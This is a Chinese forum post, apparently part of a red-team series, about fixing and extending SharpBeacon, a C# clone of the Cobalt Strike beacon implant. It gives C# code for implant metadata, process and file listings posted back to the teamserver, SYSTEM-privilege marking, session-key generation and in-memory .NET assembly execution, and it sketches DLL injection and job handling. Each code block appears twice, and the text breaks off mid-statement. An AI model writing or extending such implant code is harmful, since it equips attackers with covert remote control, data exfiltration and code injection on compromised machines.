-
-
[原创]CS 4.4 二开笔记:SharpBeacon 实战修复
-
发表于: 2024-5-27 15:16 16423
-
这是我CS二开系列的最后一篇公开文章了,再次感谢WBGIII、鸡哥、单纯、z3ratu1等若干师傅提供的思路和项目,让我受益匪浅。
CS 二开系列到此就告一段落了,相信下面这四篇一定可以帮助各位师傅完成cs从aggressor、teamserver到beacon逆向到实现的完整学习:
CS 4.4 二开笔记:基础篇
CS 4.4 二开笔记:增强篇
CS 4.4 二开笔记:beacon 指令分析篇
CS 4.4 二开笔记:SharpBeacon 实战修复
关于beacon的实现,目前已开放源码的项目包含rebeacon,geacon和sharpbeacon,rebeacon和geacon我之前都已经学习和分析过了,其中geacon的作者也写了相关文章对代码细节的实现进行了阐述。鸡哥的sharpbeacon用C#进行实现,更符合我对C2的设计思路,让我好奇的是关于sharpbeacon网上居然这么久都没有相关文章。代码的细节仍需要打磨,因此花了些时间对鸡哥的sharpbeacon的代码进行问题修复和增强,为了让各位师傅少走弯路,将技术细节总结出来形成本文,如文中存在问题也欢迎各位师傅进行交流学习。
鸡哥源码:SharpBeacon
这里我简单进行注释,具体的代码还是需要亲自去看才能印象深刻。
问题原因
上线后无法区分是x86还是x64,这个判断结果是通过metadata进行传递的,因此定位到metadata代码中。
代码位置Metadata.cs!GetFlag | Metadata.cs!IsWow64 | Metadata.cs!GetArchitecture
问题分析
通过GetFlag函数获取的1字节放在metadata符号位中,用来表示当前进程的架构。
其中:GetArchitecture()
获取当前系统架构,x64时返回2,x86时返回0,其他架构返回1。UserProcessToken()
函数用来判断当前进程的权限IsWow64()
函数用来判断当前进程的架构,此处也是我们需要修改的函数。
在metadata中,对应符号位的字节有两个值进行判断:
需要注意的是,虽然设置为0也会导致默认代表x86架构,但是会导致部分指令返回Command Error,因此我们需要代码符合CobaltStrike的设计逻辑。因此此处对IsWow64()
进行修改:
经过我们修改后,如果 isWow64 为 true,函数返回 1,表示进程运行在 WOW64 模式下;
如果 isWow64 为 false,函数返回 0,表示进程不运行在 WOW64 模式下。当捕获到异常时,函数仍然返回 0。
对应的,我们GetFlag()
函数中也无需使用GetArchitecture()
的值进行累加,直接通过isWow64()
的返回值进行判断即可:
问题原因
sharpbeacon实现了控制台的ls指令,但是实现的指令无法用于文件浏览器。熟悉beacon源码的师傅应该知道,控制台的ls与文件浏览器公用一个函数。
引出下面两个问题:
代码位置Program.cs
| Prase.cs!AnalysisReponseData
问题分析
针对第一个问题,区别在于从beacon接收到teamserver任务数据的前9-12字节(4字节)作为符号位。
我们可以看下面的举例,下面前16字节为控制台ls指令:
下面前16字节为文件浏览器指令:
其中FF FF FF FE
为控制台与界面化的区别符号位,文件浏览器中的00 00 00 01
表示的是打开了一个文件浏览器。因此我们便可以利用这个符号位在beacon端进行区分,除此之外,前四个字节中的第四个字节代表任务号0x35(53),对应config.cs
中的
第二个问题,在beacon回传数据时,如何让teamserver知道回传的是哪一类的数据呢?
这里参考上面提到的Prase.cs!MakeCallbackData()
函数,该函数第一个参数为返回的数据类型,32代表控制台,22代表界面数据。因此,我们修改Program.cs
的代码:
其中_strModelFlag
是在Prase.cs
中实现的,我们新增两个函数根据字节数组解析控制台与界面的模式,然后返回值给_strModelFlag
让其用来进行判断,新增函数如下:
其中byte[] lsFlagBytes = new byte[] { 0xFF, 0xFF, 0xFF, 0xFE };
就是我们用来判断ls指令的控制台模式和界面模式的字节数组符号,下面的字节数组则用来区别PS指令的两个模式,下文会对此进行说明。
问题原因
在通信上,与上个问题一致,因此不过多赘述。
但是PS指令的返回数据需要进行校验,并且返回数据的列顺序也需要符合cs的设计规范。
代码位置Prase.cs!AnalysisReponseData | Program.cs | Proc.cs!GetProcessList
问题分析
首先是通信问题,不同指令的四字节符号有所不同,与ls相区别的是PS的四字节符号为:
因此修改后的Program.cs代码:
Prase.cs!AnalysisReponseData
函数下面新增的函数与ls一致,在里面新增一个byte[] psFlagBytes = new byte[] { 0x00, 0x00, 0x00, 0x00 };
进行判断并返回相应的字符串即可。
另一个就是返回的数据包,正确的数据顺序为:
除此之外,PS数据的回传还存在一个校验,以原生beacon回传的ps数据为例:
在前16字节中,使用了接收到的CommandBuff放在了最后四字节中作为符号:
因此更改后的GetProcessList()
函数内容为:
这里直接把cmdBuf的数据贴到返回数据包前面,就符合设计规范了。
这个问题经过debug后发现是在上面的修改中没有正确使用 try catch:
因为在使用pwd
和exit
等功能时,commandBuff的索引不符合CommandModel的字节数组长度要求,因此需要在使用CommandModel的地方使用try catch
围起来:
问题原因
正常beacon上线后SYSTEM是具备额外符号($*
)的,sharpbeacon没有,不过这是一个小问题。
代码位置metadata.cs!GetUsername()
我们在上面增加一个对SYSTEM字符串的判断就可以了:
问题原因
C# API能获取进程名,但是不包含后缀
有两处不完整:
代码位置
上线进程:Metadata.cs!GetProcessInfo
PS显示:Proc.cs!GetProcessList
解决方法
在C#中,进程名称通常不包括可执行文件的扩展名(如.exe)。如果想获取包含扩展名的完整进程名称,可以使用 Process 类的 MainModule 属性,这将返回一个 ProcessModule 对象,其中包含了主模块(通常是可执行文件)的完整路径。可以使用这个路径来提取文件名,包括其扩展名。原本的代码:
修复后:
PS显示相关代码处理起来会影响上线时间,因此不做处理。
问题原因
需要在初次上传metadata时设置两字节的编码。
代码位置Prase.cs!MakeMetaData
解决方案
问题原因
sharpbeacon中的globalkey是写死在里面的,这个需要进行随机化。这部分在源代码中已经实现了,但是注释了,我们取消注释即可。
代码位置Prase.cs!GenRandomAESKey
解决方案
GlobalKey是beacon后续与server沟通使用的密钥。用于加密的AESKey和验证hash的HmacKey分别为其sha256后的前后16位。我们要把globalkey进行随机化:
此处使用AssemblyLoader,这里提供了4种内存加载的方式,以下是每种方法的详细解释和它们之间的区别:
优点:
缺点:
优点:
缺点:
优点:
缺点:
优点:
缺点:
在geacon中使用了Doge-CLRLoad进行了内存加载,原理是ExecuteAssemblyLoadFileAppDomain,并且存在管理员权限无法正确接收回显的问题。我这里使用的是ExecuteAssemblyLoad1。
Cobaltstrike在从aggressor执行execute-assembly,将.net程序对beacon进行下发,当beacon收到字节流时,需要进行额外的处理。
beacon接收到的指令为Cmd type 88
,在接收到字节流时,前0x21字节为cs文件头,用来区别cs下发的文件类型,去掉这部分数据才是C#数据
接下来我们需要去找到指令所在部分,在内存中定位的方式(我是使用的这种方式,有更好的方式可以告诉我)是定位</assembly>
作为指令区域头,0x4D, 0x5A
作为指令区域尾,当查到区域尾时进行回溯检查,在4D 5A
之前查找四个连续的0x00
,这里相应的实现函数如下:
这里需要注意:ExtractString
中的length需要减2。
Cobalt Strike流量传输涉及五种编码:
SharpBeacon的profile为:
编码实现的步骤:
关于这几个编码函数的实现也是比较简单的,我建议单独放在一个文件夹中,并且在处理时不要直接使用原代码中的toBase64String,需要对这几个编码函数进行输出输出统一处理,不然没有办法按顺序进行多个编码,把base64作为基础编码。
源码中密钥的解析使用了NuGet的库,这会导致引用额外的dll,因此如何实现单文件显得尤为重要。主要设计的代码在RSACrypt.cs中,具体实现如下:
其中引用的GetRSAParameters函数在RsaKey.cs中,Exponent
和Modulus
与原代码中相比我们需要手动实现,并且修改相应的解析代码:
计算PEM的脚本为:
这个是CS用于扩展和自身自带的一些常用功能的关键功能,实际上就是反射dll注入,以不落地的方式实现扩展的功能,常见功能如port scan,hashdump,screenshot等均是job类型命令。使用该类命令会下发两个指令,1. 注入dll(cmd type 1/9/43/44/89/90),2. 从命名管道读取数据(cmd type 40)。
sharpbeacon并没有对job的相关操作进行实现,job自身的操作一共有2个:
该功能的实现与dll注入紧密相连。
此处实现Inject
:直接将指定的dll注入到指定pid的进程中,这里没有实现原生的指令,而是使用的项目为DLL-Injection。其实很多相关的功能后续都可以用C#来实现替代原有写死的功能,这样能够更加灵活多变。
这篇文章主要是用来抛砖引玉的,针对鸡哥提供的sharpbeacon中存在的问题进行了修复,并给出了如何增加新功能的思路。如果文中存在问题,也欢迎师傅们留言评论。
│ Program.cs
/
/
主程序
│
├─Core
/
/
核心代码,涉及指令的实现
│ ETW.cs
│ ExecuteAssembly.cs
/
/
内存执行
│ Files.cs
/
/
文件处理
│ Forward.cs
/
/
端口转发
│ Inject.cs
/
/
注入相关代码
│ Metadata.cs
/
/
具体meta数据的实现
│ Misc.cs
/
/
杂项
│ Proc.cs
/
/
进程相关代码
│ Spawn.cs
/
/
进程迁移相关代码,未实现
│ Tokens.cs
│
├─Crypt
│ │ AESCrypt.cs
/
/
AES
│ │ RSACrypt.cs
/
/
RSA
│ │ SHA.cs
│ │
│ ├─Internal
│ │ AESKey.cs
/
/
在上面AES算法中进行调用
│ │ RsaKey.cs
/
/
在上面RSA算法中进行调用
│ │
│ └─Shared
│ Check.cs
/
/
一些异常检查函数
│
├─Packet
│ Commons.cs
/
/
get
/
post 协议发送数据的封装
│ Prase.cs
/
/
metadata; teamserver返回包
│
├─Profiles
│ Config.cs
/
/
c2profile设置
│
└─Utils
Bytes.cs
Generic.cs
Native.cs
Syscalls.cs
Win32.cs
│ Program.cs
/
/
主程序
│
├─Core
/
/
核心代码,涉及指令的实现
│ ETW.cs
│ ExecuteAssembly.cs
/
/
内存执行
│ Files.cs
/
/
文件处理
│ Forward.cs
/
/
端口转发
│ Inject.cs
/
/
注入相关代码
│ Metadata.cs
/
/
具体meta数据的实现
│ Misc.cs
/
/
杂项
│ Proc.cs
/
/
进程相关代码
│ Spawn.cs
/
/
进程迁移相关代码,未实现
│ Tokens.cs
│
├─Crypt
│ │ AESCrypt.cs
/
/
AES
│ │ RSACrypt.cs
/
/
RSA
│ │ SHA.cs
│ │
│ ├─Internal
│ │ AESKey.cs
/
/
在上面AES算法中进行调用
│ │ RsaKey.cs
/
/
在上面RSA算法中进行调用
│ │
│ └─Shared
│ Check.cs
/
/
一些异常检查函数
│
├─Packet
│ Commons.cs
/
/
get
/
post 协议发送数据的封装
│ Prase.cs
/
/
metadata; teamserver返回包
│
├─Profiles
│ Config.cs
/
/
c2profile设置
│
└─Utils
Bytes.cs
Generic.cs
Native.cs
Syscalls.cs
Win32.cs
public byte GetFlag()
{
byte b = GetArchitecture();
b += IsWow64(_mProcess);
if
(UserProcessToken(this._mProcess))
{
b += 8;
}
return
b;
}
public byte GetFlag()
{
byte b = GetArchitecture();
b += IsWow64(_mProcess);
if
(UserProcessToken(this._mProcess))
{
b += 8;
}
return
b;
}
00 00 00 35 00 00 00 0B FF FF FF FE 00 00 00 03
00 00 00 35 00 00 00 0B FF FF FF FE 00 00 00 03
00000000: 00 00 00 35 00 00 00 0B 00 00 00 01 00 00 00 03
00000000: 00 00 00 35 00 00 00 0B 00 00 00 01 00 00 00 03
FILE_BROWSE = 53
FILE_BROWSE = 53
case
(
int
)Config.FUNCINDEX.PS:
//PS
pRes = Proc.GetProcessList(cm._prase._pCommandBuff);
if
(cm._prase._strModelFlag ==
"psConsole"
)
{
pCallbackData = cm._prase.MakeCallbackData(32, pRes);
// 32 控制台显示
}
else
{
pCallbackData = cm._prase.MakeCallbackData(22, pRes);
// 22 界面显示
}
cm.HttpPost(Config._POSTURL + Config._nBeaconID, pCallbackData);
break
;
case
(
int
)Config.FUNCINDEX.PS:
//PS
pRes = Proc.GetProcessList(cm._prase._pCommandBuff);
if
(cm._prase._strModelFlag ==
"psConsole"
)
{
pCallbackData = cm._prase.MakeCallbackData(32, pRes);
// 32 控制台显示
}
else
{
pCallbackData = cm._prase.MakeCallbackData(22, pRes);
// 22 界面显示
}
cm.HttpPost(Config._POSTURL + Config._nBeaconID, pCallbackData);
break
;
string
GetConsoleType(
byte
[] inputArray)
{
byte
[] lsFlagBytes =
new
byte
[] { 0xFF, 0xFF, 0xFF, 0xFE };
byte
[] psFlagBytes =
new
byte
[] { 0x00, 0x00, 0x00, 0x00 };
if
(ArrayEqual(inputArray, psFlagBytes))
return
"psConsole"
;
else
if
(ArrayEqual(inputArray, lsFlagBytes))
return
"lsConsole"
;
else
return
string
.Empty;
}
bool
ArrayEqual(
byte
[] a1,
byte
[] a2)
{
if
(a1.Length != a2.Length)
return
false
;
for
(
int
i = 0; i < a1.Length; i++)
{
if
(a1[i] != a2[i])
return
false
;
}
return
true
;
}
string
GetConsoleType(
byte
[] inputArray)
{
byte
[] lsFlagBytes =
new
byte
[] { 0xFF, 0xFF, 0xFF, 0xFE };
byte
[] psFlagBytes =
new
byte
[] { 0x00, 0x00, 0x00, 0x00 };
if
(ArrayEqual(inputArray, psFlagBytes))
return
"psConsole"
;
else
if
(ArrayEqual(inputArray, lsFlagBytes))
return
"lsConsole"
;
else
return
string
.Empty;
}
bool
ArrayEqual(
byte
[] a1,
byte
[] a2)
{
if
(a1.Length != a2.Length)
return
false
;
for
(
int
i = 0; i < a1.Length; i++)
{
if
(a1[i] != a2[i])
return
false
;
}
return
true
;
}
0x00, 0x00, 0x00, 0x00
0x00, 0x00, 0x00, 0x00
case
(
int
)Config.FUNCINDEX.PS:
//PS
pRes = Proc.GetProcessList(cm._prase._pCommandBuff);
if
(cm._prase._strModelFlag ==
"psConsole"
)
{
pCallbackData = cm._prase.MakeCallbackData(32, pRes);
// 32 控制台显示
}
else
{
pCallbackData = cm._prase.MakeCallbackData(22, pRes);
// 22 界面显示
}
cm.HttpPost(Config._POSTURL + Config._nBeaconID, pCallbackData);
break
;
case
(
int
)Config.FUNCINDEX.PS:
//PS
pRes = Proc.GetProcessList(cm._prase._pCommandBuff);
if
(cm._prase._strModelFlag ==
"psConsole"
)
{
pCallbackData = cm._prase.MakeCallbackData(32, pRes);
// 32 控制台显示
}
else
{
pCallbackData = cm._prase.MakeCallbackData(22, pRes);
// 22 界面显示
}
cm.HttpPost(Config._POSTURL + Config._nBeaconID, pCallbackData);
break
;
processName, parentProcessId, processId, processArch, processOwner, sessionId
processName, parentProcessId, processId, processArch, processOwner, sessionId
00000000: 00 00 00 03 00 00 47 7A 00 00 00 16 00 00 00 24 ......Gz........
00000010: 0A 53 79 73 74 65 6D 20 49 64 6C 65 20 50 72 6F .System Idle Pro
00000020: 63 65 73 73 09 30 09 30 09 78 36 34 09 09 30 0A cess.0.0.x64..0.
00000030: 53 79 73 74 65 6D 09 30 09 34 09 78 36 34 09 09 System.0.4.x64..
00000040: 30 0A 09 34 09 32 30 34 09 78 36 34 09 09 30 0A 0..4.204.x64..0.
00000050: 09 34 09 32 38 30 09 78 36 34 09 09 30 0A 09 34 .4.280.x64..0..4
00000060: 09 31 30 38 34 09 78 36 34 09 09 30 0A 63 6F 6D .1084.x64..0.com
00000070: 2E 64 6F 63 6B 65 72 2E 62 75 69 6C 64 2E 65 78 .docker.build.ex
00000080: 65 09 32 35 32 34 38 09 31 31 37 36 09 78 36 34 e.25248.1176.x64
00000000: 00 00 00 03 00 00 47 7A 00 00 00 16 00 00 00 24 ......Gz........
00000010: 0A 53 79 73 74 65 6D 20 49 64 6C 65 20 50 72 6F .System Idle Pro
00000020: 63 65 73 73 09 30 09 30 09 78 36 34 09 09 30 0A cess.0.0.x64..0.
00000030: 53 79 73 74 65 6D 09 30 09 34 09 78 36 34 09 09 System.0.4.x64..
00000040: 30 0A 09 34 09 32 30 34 09 78 36 34 09 09 30 0A 0..4.204.x64..0.
00000050: 09 34 09 32 38 30 09 78 36 34 09 09 30 0A 09 34 .4.280.x64..0..4
00000060: 09 31 30 38 34 09 78 36 34 09 09 30 0A 63 6F 6D .1084.x64..0.com
00000070: 2E 64 6F 63 6B 65 72 2E 62 75 69 6C 64 2E 65 78 .docker.build.ex
00000080: 65 09 32 35 32 34 38 09 31 31 37 36 09 78 36 34 e.25248.1176.x64
Cmd buffer bytes: [0 0 0 36]
后四个字节:0x00000024
0x24 = 36,符合发送的指令buff,因此数据头后四个字节为cmdbuff
Cmd buffer bytes: [0 0 0 36]
后四个字节:0x00000024
0x24 = 36,符合发送的指令buff,因此数据头后四个字节为cmdbuff
public
static
byte
[] GetProcessList(
byte
[] pBuf)
{
var
processorArchitecture = GetArchitecture();
Process[] processes = Process.GetProcesses().OrderBy(P => P.Id).ToArray();
string
sRes =
""
;
foreach
(Process process
in
processes)
{
int
processId = process.Id;
int
parentProcessId = GetParentProcess(process);
string
processName = process.ProcessName;
string
processPath =
string
.Empty;
int
sessionId = process.SessionId;
string
processOwner = GetProcessOwner(process);
Win32.Kernel32.Platform processArch = Win32.Kernel32.Platform.Unknown;
if
(parentProcessId != 0)
{
try
{
processPath = process.MainModule.FileName;
}
catch
(System.ComponentModel.Win32Exception) { }
}
if
(processorArchitecture == Win32.Kernel32.Platform.x64)
{
processArch = IsWow64(process) ? Win32.Kernel32.Platform.x86 : Win32.Kernel32.Platform.x64;
}
else
if
(processorArchitecture == Win32.Kernel32.Platform.x86)
{
processArch = Win32.Kernel32.Platform.x86;
}
else
if
(processorArchitecture == Win32.Kernel32.Platform.IA64)
{
processArch = Win32.Kernel32.Platform.x86;
}
sRes += String.Format(
"\n{0}\t{1}\t{2}\t{3}\t{4}\t{5}"
, processName, parentProcessId, processId, processArch, processOwner, sessionId);
}
byte
[] sResBytes = Encoding.UTF8.GetBytes(sRes);
byte
[] resultBytes =
new
byte
[pBuf.Length + sResBytes.Length];
Buffer.BlockCopy(pBuf, 0, resultBytes, 0, pBuf.Length);
Buffer.BlockCopy(sResBytes, 0, resultBytes, pBuf.Length, sResBytes.Length);
return
resultBytes;
}
public
static
byte
[] GetProcessList(
byte
[] pBuf)
{
var
processorArchitecture = GetArchitecture();
Process[] processes = Process.GetProcesses().OrderBy(P => P.Id).ToArray();
string
sRes =
""
;
foreach
(Process process
in
processes)
{
int
processId = process.Id;
int
parentProcessId = GetParentProcess(process);
string
processName = process.ProcessName;
string
processPath =
string
.Empty;
int
sessionId = process.SessionId;
string
processOwner = GetProcessOwner(process);
Win32.Kernel32.Platform processArch = Win32.Kernel32.Platform.Unknown;
if
(parentProcessId != 0)
{
try
{
processPath = process.MainModule.FileName;
}
catch
(System.ComponentModel.Win32Exception) { }
}
if
(processorArchitecture == Win32.Kernel32.Platform.x64)
{
processArch = IsWow64(process) ? Win32.Kernel32.Platform.x86 : Win32.Kernel32.Platform.x64;
}
else
if
(processorArchitecture == Win32.Kernel32.Platform.x86)
{
processArch = Win32.Kernel32.Platform.x86;
}
else
if
(processorArchitecture == Win32.Kernel32.Platform.IA64)
{
processArch = Win32.Kernel32.Platform.x86;
}
sRes += String.Format(
"\n{0}\t{1}\t{2}\t{3}\t{4}\t{5}"
, processName, parentProcessId, processId, processArch, processOwner, sessionId);
}
byte
[] sResBytes = Encoding.UTF8.GetBytes(sRes);
byte
[] resultBytes =
new
byte
[pBuf.Length + sResBytes.Length];
Buffer.BlockCopy(pBuf, 0, resultBytes, 0, pBuf.Length);
Buffer.BlockCopy(sResBytes, 0, resultBytes, pBuf.Length, sResBytes.Length);
return
resultBytes;
}
[beacon -> teamserver] data after execute:
[!] Exception: Source array was not long enough. Check srcIndex and length, and the array's lower bounds.
[beacon -> teamserver] data after execute:
[!] Exception: Source array was not long enough. Check srcIndex and length, and the array's lower bounds.
/// <summary>
/// 获得系统当前用户名
/// </summary>
public
string
GetUsername()
{
return
Environment.UserName;
}
/// <summary>
/// 获得系统当前用户名
/// </summary>
public
string
GetUsername()
{
return
Environment.UserName;
}
public
string
GetUsername()
{
string
username = Environment.UserName;
// 获取当前用户名
if
(username.Equals(
"SYSTEM"
, StringComparison.OrdinalIgnoreCase))
// 判断用户名是否为"SYSTEM"
{
username +=
"$*"
;
// 如果是,添加后缀"$*"
}
return
username;
// 返回修改后的用户名
}
public
string
GetUsername()
{
string
username = Environment.UserName;
// 获取当前用户名
if
(username.Equals(
"SYSTEM"
, StringComparison.OrdinalIgnoreCase))
// 判断用户名是否为"SYSTEM"
{
username +=
"$*"
;
// 如果是,添加后缀"$*"
}
return
username;
// 返回修改后的用户名
}
public
void
GetProcessInfo()
{
_mProcess = Process.GetCurrentProcess();
_nPid = _mProcess.Id;
_strProcName = _mProcess.ProcessName;
}
public
void
GetProcessInfo()
{
_mProcess = Process.GetCurrentProcess();
_nPid = _mProcess.Id;
_strProcName = _mProcess.ProcessName;
}
public
void
GetProcessInfo()
{
_mProcess = Process.GetCurrentProcess();
// 获取当前进程
_nPid = _mProcess.Id;
// 获取进程ID
// 尝试获取主模块的文件名
try
{
_strProcName = _mProcess.MainModule.FileName;
// 获取包含路径的完整文件名
_strProcName = System.IO.Path.GetFileName(_strProcName);
// 仅提取文件名和后缀
}
catch
(System.ComponentModel.Win32Exception e)
{
// 如果无法访问 MainModule,可能是权限不足
Console.WriteLine(
"Error accessing main module: "
+ e.Message);
_strProcName = _mProcess.ProcessName;
// 回退到不带扩展名的进程名
}
}
public
void
GetProcessInfo()
{
_mProcess = Process.GetCurrentProcess();
// 获取当前进程
_nPid = _mProcess.Id;
// 获取进程ID
// 尝试获取主模块的文件名
try
{
_strProcName = _mProcess.MainModule.FileName;
// 获取包含路径的完整文件名
_strProcName = System.IO.Path.GetFileName(_strProcName);
// 仅提取文件名和后缀
}
catch
(System.ComponentModel.Win32Exception e)
{
// 如果无法访问 MainModule,可能是权限不足
Console.WriteLine(
"Error accessing main module: "
+ e.Message);
_strProcName = _mProcess.ProcessName;
// 回退到不带扩展名的进程名
}
}
byte
[] pLocalANSI =
new
byte
[] { 0xE9, 0xFD };
//设置编码为UTF-8
byte
[] pLocalANSI =
new
byte
[] { 0xE9, 0xFD };
//设置编码为UTF-8
/// <summary>
/// 生成随机数,用于得到hmac和aes的key(随机生成hmac和aes的key)
/// </summary>
public
void
GenRandomAESKey()
{
Random rnd =
new
Random();
Config.GlobalKey =
new
byte
[16];
rnd.NextBytes(Config.GlobalKey);
}
/// <summary>
/// 生成随机数,用于得到hmac和aes的key(随机生成hmac和aes的key)
/// </summary>
public
void
GenRandomAESKey()
{
Random rnd =
new
Random();
Config.GlobalKey =
new
byte
[16];
rnd.NextBytes(Config.GlobalKey);
}
Assembly assembly = Assembly.Load(assemblyBytes);
MethodInfo method = assembly.EntryPoint;
object
[] parameters =
new
[] { param };
object
execute = method.Invoke(
null
, parameters);
Assembly assembly = Assembly.Load(assemblyBytes);
MethodInfo method = assembly.EntryPoint;
object
[] parameters =
new
[] { param };
object
execute = method.Invoke(
null
, parameters);
Assembly assembly = Assembly.Load(assemblyBytes);
foreach
(
var
type
in
assembly.GetTypes()) {
foreach
(MethodInfo method
in
type.GetMethods()) {
object
instance = Activator.CreateInstance(type);
method.Invoke(instance,
new
object
[] { param });
}
}
Assembly assembly = Assembly.Load(assemblyBytes);
foreach
(
var
type
in
assembly.GetTypes()) {
foreach
(MethodInfo method
in
type.GetMethods()) {
object
instance = Activator.CreateInstance(type);
method.Invoke(instance,
new
object
[] { param });
}
}
Assembly assembly = Assembly.LoadFile(assemblyPath);
MethodInfo method = assembly.EntryPoint;
object
[] parameters =
new
[] { param };
object
execute = method.Invoke(
null
, parameters);
Assembly assembly = Assembly.LoadFile(assemblyPath);
MethodInfo method = assembly.EntryPoint;
object
[] parameters =
new
[] { param };
object
execute = method.Invoke(
null
, parameters);
AppDomain domain = AppDomain.CreateDomain(
"King AppDomain"
);
domain.ExecuteAssembly(file, param);
AppDomain.Unload(domain);
AppDomain domain = AppDomain.CreateDomain(
"King AppDomain"
);
domain.ExecuteAssembly(file, param);
AppDomain.Unload(domain);
if
(fileBytes.Length > 33)
{
Byte[] newFileBytes =
new
Byte[fileBytes.Length - 33];
Array.Copy(fileBytes, 33, newFileBytes, 0, fileBytes.Length - 33);
fileBytes = newFileBytes;
}
if
(fileBytes.Length > 33)